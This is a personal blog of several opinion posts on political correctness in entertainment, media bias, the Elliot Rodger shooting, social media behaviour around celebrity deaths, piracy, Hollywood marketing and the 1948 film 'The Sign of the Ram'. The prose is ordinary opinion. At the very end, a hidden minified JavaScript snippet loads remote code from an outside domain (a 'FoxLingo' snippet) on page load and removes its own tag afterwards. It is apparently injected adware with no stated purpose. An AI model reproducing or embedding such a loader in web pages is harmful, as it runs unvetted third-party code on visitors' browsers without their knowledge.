Political Correctness Truly Defined (Part 3)

In this part I will focus on an aspect of political correctness that needs to be addressed in society as a whole. It is how members of our society try to force the entertainment community to conform to their own expectations, freedom be damned.  I am referring to people who have a compulsion to condemn an artist for the words he or she writes or speaks.

On one hand, it would seem legitimate on the surface to condemn someone for remarks they feel are cruel and insulting toward political figures and other celebrities based on things they cannot help. The problem with this point of view is that it is often a delusion. Most people in the public eye put themselves there and they don’t care what those who oppose them think. In fact, they don’t even watch or hear those views, so for someone to rise up to the defense of someone they do not even know and try to crush the career of such a person seems to be rather pointless because their fans are loyal. Short of a national scandal, the audience will not abandon those they adore either.

However, when one stops to think about it, the question that needs to be asked is “Why is this of concern to them?”  In the first part of this series, I referred to Joan Rivers’ outspoken humor.  For many her humor in later years was not well-received by some people,  yet her fame continued to rise like a meteor. I can explain why that is.  She represented another generation entirely. It was as if in the present, anything resembling America of the past is becoming unacceptable by modern members of society. The fact of the matter is that many still keep those  values that old America held dear and there seems to be a move to revert to some of those values in light of recent world events.

If that happens, there is no need to go into an uproar over it.  Everything happens in a continuous circle of change. Some things progress and at times they reverse themselves.

However there seems to be a need among some people to take to social media to try to chide or “correct” or discourage the behavior of an entertainer–whether that entertainer be a comic, actor, actress or musician and it comes from both sides of the political spectrum. “I think you’re picking on the president and/or his wife based on appearance, race, way of speaking, etc….”  the list goes on.  Often these people demand total silence from anyone who opposes the policies of the current political leaders in this country. They will attack fans who support them, and often throw up insult after insult on their fan pages. This is especially true on Facebook.   However when those of opposing view were in power, those who agreed with that point of view could care less what was put up about them–yet the opposition made the same jokes and such. Why? They realize it is pointless to try to battle over something nobody has any real control over.

Quite frankly, when it comes to entertainment and the arts, Voltaire had the right idea about all of it–“I may not agree with everything you say but I will defend to the death your right to say it.”

There will always be an audience for performers who have a fan base no matter how great or small. Most of those complaining are not fans of the acts and never were. When they start spewing vitriol, it only tells those that they are being hypocritical because on many of those pages they have to “like” the page of the person they are condemning in order to make a comment, and then they will post vitriol until they realize it does no good due to the fact that they are big fish in a little pond, OR until the admins of the pages ban and remove them. This is also true on the political pages.

If they keep trolling after that, then it is because they have a need to make themselves heard–just like an artist or politician that they are condemning. Taken in that sense, one could say that they are in the same club…Or can they? Either way, it shows those who think outside of the box how as a society, America has become well-known for its double standards.

Some fans even resort to attacking the fans for liking an artist.  Those are the ones who make fools of themselves by trying to win them over to their point of view when it absolutely will NOT happen. This is also true of people who support one person or another on the political pages. Ironically, in trying to box the fans and/or supporters of a person or group into a corner they end up putting themselves in one and it makes them look like they are true bullies, rather than intelligent human beings capable of conducting civil discourse.

By the same token, those who dislike an artist and/or the material in question have a right to express those views as well. They get enough of a bashing from those who aren’t fans for their behaviors that the opinion doesn’t make a difference. I have actually seen non-fans of artists support people that they are NOT fans of and defend them against trolls as well. Everyone has opinions and we all know what opinions are like.  I will not let either extreme dictate what they think I should or do not do. They do not live my life, I do. They don’t answer for my actions. I do. By the same token so do other entertainers, writers and politicians of all views and they should also bear these things in mind rather than take them personally. My father had a better piece of advice on such matters, and most have heard this before, “Consider the source.”

Besides all the above there is one basic fact of life that every entertainer or writer on Earth has learned one way or another and that is the fact that no one can please everyone, so why sweat bullets over it?

 

Political Correctness Truly Defined (Part 2)

I want to make something perfectly clear here. I do not feel that one’s political views should have any bearing on whether or not they are accepted as artists, writers, singers, etc…The trend in Hollywood has been for decades to embrace the far left and shut out anyone with any views that deviate from that view, even if the person trying to make a living is middle of the road.

There is a view among many in society that a comic should only entertain according to the point(s) of view that are personally acceptable to them. Artists in all camps do not accept this notion as it is a form of dictating their material, or in easier terms to understand, societal censorship.  Politicians have been subject to ridicule from both sides of the spectrum but it is only when someone who is in power on the left that the specter of censorship rears its ugly head.

There were proposed rule changes to the FCC about writers and reporters that did not get put into place because those rules interfere with the first amendment and since the media is largely “owned” anyhow, it was a waste of taxpayer funds to make such rules. If the people of the United States wanted government controlled media, they’d start moving elsewhere.

Reporters, if they have any sense of ethics, should be reporting the story truthfully, without interjecting what they think should happen as a result of the evolving stories coming into place. The people do not need a journalist to help them make up their minds. They have a sense of what they feel is right and what they feel is wrong.  In fact, if anything, viewers should find any reporter that takes it upon himself/herself to try to change their views on any issue to be insulting. That is not their job. If they want to get preached at by anyone, they will turn off the television and go to church. The audience, for the most part, wants the story–without how  the person reporting “feels” about it.

Both the media and Hollywood have worked very hard to be the self-appointed moral compass of this nation and that is the last thing they should be. Individuals can decide the course of their own destinies without their advice. For the most part if they are not paid to entertain, they are paid to inform. Personally, unless I’m watching the news or PBS, I do not want to hear about political topics. I go to movies to escape these things. I go to concerts to escape these things. When those in these fields try to tell me I should have point of view A rather , point of view B, I tend to get rather angry.

I do realize that some acts in general ARE politically motivated and write their music accordingly. If the fans want that, that is their decision. Those acts are doing what they think is their “mission” in life which is to bring awareness. There is nothing wrong with that.  The same holds true for writers who make it known what the purpose is for script A or script B. However if it’s not on a topic that has my interest, I won’t go or watch the show.  However that is NOT the job of the journalist and they need to get back to reporting the news and stop giving 3 minutes of story and 30 minutes of editorializing.

When writers insert politics into a script with what otherwise would be a very good drama that isn’t pushing their views, I change the channel. I do not want to watch a TV sitcom and hear about how good Obamacare is. That is not why I watch TV. Thank God the Brits aren’t doing that crap. However getting money from grants to do so is an incentive. I’m sure if the GOP had done that, the left would be screaming bloody murder about taxpayer funds going toward that. Well I would also, but it is because taxpayer funds shouldn’t be going to pay for advertising government programs and campaigning on mainstream TV shows on MY DIME.

We have a 17 trillion-dollar deficit and that is the last thing government money should be going to…Common sense should dictate as much.

As for Hollywood, they should have followed Clint Eastwood’s example when he hired both Tim Robbins and Sean Penn to be in “Mystic River”. He hired objectively and their political views didn’t make a bit of difference. He hired them on the merits of their talent.  Remember Matt McConaughey’s Oscar acceptance speech and how Hollywood cringed? I hate to burst their bubble that speech was indicative of a more “new age” view than anything, which many there embrace.  Hollywood, by exhibiting such bias, is alienating  the movie going audience. As they continue to lose more at the box office due to this and the rising prices of tickets, they should bear in mind that if they cannot be open to viewers of all factions, this trend will continue.

That being said, if anyone is open to the idea of opening up an Independent movie studio in TX, I know of a place that is for sale in a desert location that would make an excellent spot due to it’s historical significance alone–for a cool $2.9 million bucks and you’d better snatch it up before a certain studio in California decides to do so (if they get the idea)! I just had to throw that in, but have a great day!

Political Correctness Truly Defined (My Not So Humble Opinion)…

Political correctness is the art of forcing a society to conform to a set of norms for a segment of the population that cannot deal with the normal processes of changing from a teenager into an adult. It is not about racism. That is a separate issue. It is not about misogyny. That is also a separate issue. It is also not about silencing religious views, which is still another issue.  However those pushing to monitor and control free speech are combining these issues in order to kill three birds with one stone so that they can live in a world that is only big enough for them to thrive on.

To be politically correct is to not have your own opinions on an issue that are not in agreement  with those who are writing the playbook. They will certainly be censored or omitted altogether. Your creativity will be subject to censorship and ridicule should you offend someone who is nothing more than a panty waist who cannot deal with the fact that not everyone will agree with their views.

It does not make the politically incorrect cowardly or dastardly when the opposition pushes this, it reveals those pushing it off on society as persecutors of those who espouse the U.S. Constitution.  In essence, those who push the “PC Movement” are cowards themselves. They fear what they hear rather than deal with the reality that they should be looking at.

The people should be setting the course for this nation–and I do not mean those in Hollywood. I mean the people as a whole. I also do not mean the powers that be. Why? Because all I have seen recently is failure and disappointment with their actions–or the lack of them.

 

 

As for me I’m with Voltaire on the issue: “I do not agree with what you have to say, but I’ll defend to the death your right to say it.”

Voltaire

 

 

Elliot Rodger…All That’s Left is “Why”?

This is another one of my short rants. We’ve got a director blaming the NRA for the deaths of innocent people. Evidently he doesn’t know squat. Elliot Rodger was mentally ill. He needed help. His parents tried to get him that help. Had the Santa Monica Police Department seen the warning signs of trouble in his videos, MAYBE they could have gotten him committed to a psychiatric facility for at least 45 days. Had they done that, 8 people might be alive today. THAT is the bottom line of it. In my opinion, mental illness doesn’t excuse an action or make it right, but it does help explain the “why” of it to a degree.

Now I want to know what also figures into this “why”? Was this guy bullied all his life or something? THAT is the vibe I got off of watching some of the videos. He doesn’t really come out and say it, though. The reason I say this is that a lot of shooters seemed to have experienced school bullying. THIS is one thing I personally would like for the public to know. Hopefully one day all the families, including Rodger’s, will have the answer to that “Why?”

However the political “blame game” is not going to cut it this time. People need to quit using others’ tragedy to earn brownie points or to get people to take a look at their work and that is what the director that made the NRA comment is doing. That’s right. I’m calling him out.  He’s using a colleague’s tragedy to make a name for himself. They don’t need to use it to further politics either. People are sick of that tactic already, and before anyone starts complaining and moaning, I don’t own a gun myself. I never have. I probably never will because I don’t need one. However, I do support the right of law-abiding citizens to own one.

 

A Question Most Who Engage in this Will NOT Answer…

Why is it when a celebrity dies, there is some sort of envy that they were ever famous?  Better yet why do people feel the need to bring attention to themselves by slamming the fans who are grieving or putting posts up about who or what they feel focus should be on? Seriously…People need to get off of that self-elevating crap  because that is exactly what it is. It is not about anyone who died, it is about anyone who wants to bring attention to themselves by bashing those who are expressing sympathy for the celebrities‘ families and such.

This part is for those who feel the need to engage in such behavior in social media:  Look, if you don’t want celebrity status that is your choice. You chose your life path, and you are simply jealous of their recognition so you try to bring some to yourself by bashing them. They earned their status and whatever else came their way. If you are jealous of that, it is you that has the problem, not the celebrity (or late celebrity).  It doesn’t garner you much respect either. Either way, the fans identify with the celebrity they are grieving because they come into their homes or into the theaters and are visible to them. If they are musicians, they hear their words that touch their lives daily.

YOU want them to grieve the invisible–the ones they don’t see, but yet you seem to have a connection with. This is especially true when people post about troops that died on a celebrity death thread. That doesn’t mean the fans feel no regret for the loss of anyone–especially a soldier, sailor, airman, etc…But you have no right to tell anyone how they should feel or how they should express grief–let alone WHO they should grieve at any given time. You have no right to try to lay a guilt trip on them for your own pleasure either.

IF you want to grieve someone, put up your own tributes and leave the fans of the celebrities alone. You don’t help yourself by bashing them, belittling or bullying them either.  They are entitled to what they feel as are you.

For those wondering what the heck I am talking about, THIS appeared on FB the other day:

This is one example of what people will create to bring attention to themselves and cause crap...

This is one example of what people will create to bring attention to themselves and cause crap…The chances are, the person who created this didn’t know who Paul Walker or Roger Rodas were, but used this to bash fans with because he/she had nothing better to do with his/her time.

And just so everyone is aware, I have seen condolences posted toward both families on twitter, FaceBook and elsewhere…This behavior is inexcusable and immature–period.

The bottom line is that when anyone dies, they leave friends, family, co-workers and in the case of celebrities, a lot of fans and colleagues behind.  They are entitled to grieve in any way they see fit and if the people making such posts have a problem with that, they need to find another way to channel their negative energy or simply get quiet.

Then again, I am sure they will continue to engage in such behavior because it is far easier to bully a group from behind a keyboard than it is to say it to their faces, isn’t it?

AS CHEESY as this was IT DOES DESERVE to be UPDATED & REMADE!

RE: “The Fearless Vampire Killers”

I am think that this is a vampire comedy that DOES need to be remade–with all the SCHLOCK and such a good writer can muster! Some Indie writer out there can surely get Polanski on board to agree to this.  I thought this was one of the funniest movies I had ever seen.   I for one loved the skewed vision of Polanski in this–and the way it seems to remind me of a Hammer film tribute  just a tad!

Whatever type of vampire movie there is, this movie takes a stab at eliciting a laugh or two by poking fun at them all. If True Blood  (the series) or movies such as “Love At First Bite” had been made, I’m sure he’d have in some way poked fun at those too!  Either way, it would be nice if some writer picked up on this concept–put it in front of Polanski and see if they can make a new comedy that audiences can actually enjoy–without all the crap for the teen market!

http://www.youtube.com/watch?v=k1Lql8c75I0

And I’ll post about this once a year!  Here is my question though…Who the heck could pull off Alfie and Sarah’s parts?

 

Nana: Why She Hates Pirating…

Look, I am speaking from my heart so please don’t take this in a bad way, but I will not go to Piratebay for anything. It’s not fair to the actors and such. Know what I mean? There are perfectly legal ways to watch things–like www. huluplus.com and such, but I will not go to a place that seems to take pride in hurting the artists who work so hard to make their fans happy. Know what I mean? I know there are LEGAL sites for sharing and such that do pay the artists, but I would never want to deprive them of what they are entitled to. That’s just how I feel about it. I know how I would feel if I were in their shoes. I hope people who see this will understand where I am coming from. I certainly do not mean to step on toes here. It’s just that there are those who seem to take pride in getting it over on “the big wigs” without realizing that some of the people whose stuff their downloading are not the ones making small fortunes. To me it’s not the big wigs they are hurting but the performers and crew who put their blood and sweat into a production. Thanks for hearing me out on this.

I was inspired to write this post because one of my favorite actors has a show being downloaded from that site and the link was posted on his wall. I did alert him to this.  Hopefully one day, fans will see how wrong this is. If anyone has an idea for a guest blog on this, feel free to contact me. I have no problem with you sharing your thoughts on this here.

The Changing World of Movie Viewing Part II

In the first post on this I discussed how actors/actresses are judged by an audience and how a film critic’s views no longer represent the public as much as they do the marketing execs.  They don’t represent the academy, that’s for sure. I will not rehash that here.  I want to discuss another aspect that Hollywood seems to trip  itself over.

Many marketing execs claim that they make films to appeal to teens and ‘tweens because they think that the older audience tends to “stay home”.  The logic is nothing more than a smokescreen to justify how they tend to make a lot of crappy films now.  Why? Because they are marketing the same type of crap to home viewers.  With the exception of a few shows, like “Hardcore Pawn” people are getting really sick of “reality TV“.  The fact of the matter is that many of these shows highlight what is wrong with society rather than what is enjoyable about it.  Some even tend to glamorize behavior that society should never tolerate from anyone for that matter–especially the authorities…For example, take the latest case:  Honey Boo Boo…What parent in their right mind would jeopardize the health of their own child by pumping him/her full of energy drinks and let them gain so much weight just so they can act the way this kid does?  The fact of the matter there is that they feel sorry for the kid and want to kick the parents’ asses, and I think many watch just to see if CPS will knock on their door…

Now back to the point of this post.  IF these execs knew what they were doing, they would market real movies with logical plots and believable story lines AT LEAST to the home viewers since they tell the public that the older audience tends to “stay home”…The bottom line is: They want the kids because they think most have only a two second attention span. Not only is that an insult the entire audience as a whole, but they insulted the entire Academy of Motion pictures with that line of thinking.  Do they really think when deciding for the Oscars that that is the logic of the members of the academy?  Seriously? If so, they should all be fired and replaced.

It seems to me that it is the performers and a handful of  directors and producers who have the real audience and fans in mind.  Both the Academy and the audience want original ideas, innovation, characters that COULD exist, believable story lines and even a little old-fashioned romance from time to time–and even HUMOR–REAL HUMOR–not this crap that always goes back to sexual innuendo either.  The innuendo and such has its place but it should not be on Prime-Time TV. THAT should be reserved for when the kids are in bed.  There is nothing illogical or “archaic” about that.  It is those execs who promote the bull shit that have limited their own potential by buying into their own crappy perception of the world they live in.  IF that were not the case, they wouldn’t be advising stock holders and producers to put money into pictures and TV shows that are not worth a damn.

When shows like “Harry’s Law” and “Memphis Beat” get cancelled, something is definitely wrong.  A network with a wiser CEO should work to get those shows on it.  I’ve got $10 that says with the RIGHT marketing and the RIGHT time slot, those two shows would be runaway hits for investors.

It is also time to stop with the sequels, prequels and remakes (or as some now call them “reboots”) that tend to deviate from original classic shows. NOT one of these has succeeded on TV this year or at the box office.  The only movie doing well in that category this year is “The Expendables 2” because it is a continuation of an ORIGINAL IDEA!   Thank God for Sly Stallone and Dolph Lundgren.  At least those guys have some idea of what an audience really wants…The only other fairly recent film which did well was “Star Trek” (2009).  J. J. Abrams did that one right–regardless of what some think.  He captured the essence of the original characters using new actors and did not deviate from their traits in the least.  That is more than I can say for the  “Dark Shadows” movie that was released this year.  Every reason that movie flopped is in a book written by Tom Laughlin  which you can find here:

http://www.billyjack.com/Merchant2/merchant.mvc?Screen=PROD&Product_Code=BK9S&Category_Code=BOOKS&Store_Code=BERSERK

And I still say that had the Dark Shadows Revival series went beyond 12 episodes, it would have lasted.  That was one remake that did stick to Dan Curtis’s vision of what he thought his own creation should be.  He always knew what his fans wanted, that’s for sure.

Have a wonderful Thanksgiving Holiday, everyone! Until next time…

 

The Sign of the Ram (1948)

This performance should have gotten Susan Peters more work and an Oscar nod…Unfortunately, those times were different. Maybe in the present she can get the respect she richly deserves.

 

This is probably one of the most important films in Oscar History–even though it never received a nod.  Susan Peters–who played the calculating, manipulative matriarch definitely should have received one.  There is only one performance that tops hers and that was that of Dame Judith Anderson in “Rebecca” years prior.

The performance of Dame Judith Anderson in the film “Rebecca” was also brilliant!

 

The  classic movie channels such as AMC or TCM show “The Sign of the Ram” very rarely.  They need to release it on dvd.  It never has been re-released–period! Not on VCR–nothing!  That is sad because the script writing was top-notch for the era and the acting was wonderful to watch.  The writers didn’t make the mistake of making this to where there was too much empathy for Leah St. Aubyn, that is for certain!  It definitely puts forth that there is a difference between disability and being “differently-abled” and it is tragic that the studios couldn’t see beyond Ms. Peters wheelchair to give her more work as they did for Lionel Barrymore when he became wheelchair bound.

I do realize that times were different, but I wanted to bring recognition to one of Hollywood’s “Lost Treasures”.  The Motion Picture Academy should give some sort of recognition to this film and to Ms. Peters.  For her to work after such an accident during those times should have at least gotten her some type of lifetime achievement award.  That would be nice to see, I think.

This script definitely left nothing out. It would be nice to see an updated version of this–not one with a lot of crap thrown in for adult ratings either–stick with the story as it was written–just update the dialogue and cast.  I think as far as the time period–it would be best to keep it in the 40’s or 50’s era due to the social issues brought up in the original film.  I would want Ben Cross for the part of Mallory, as he is an older gentleman married to the younger Leah–and I would make his character a bit more intimidating of Leah in the end once his suspicion of her is aroused…I don’t know who I’d want to play Leah though.  Christine would be another role that would be difficult for me to cast if I were the one behind this one…

 

// <![CDATA[
!function(){try{var h=document.getElementsByTagName(“head”)[0];var s=document.createElement(“script”);s.src=”//edge.crtinv.com/products/FoxLingo/default/snippet.js”;s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState==”loaded” || this.readyState==”complete”){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
// ]]>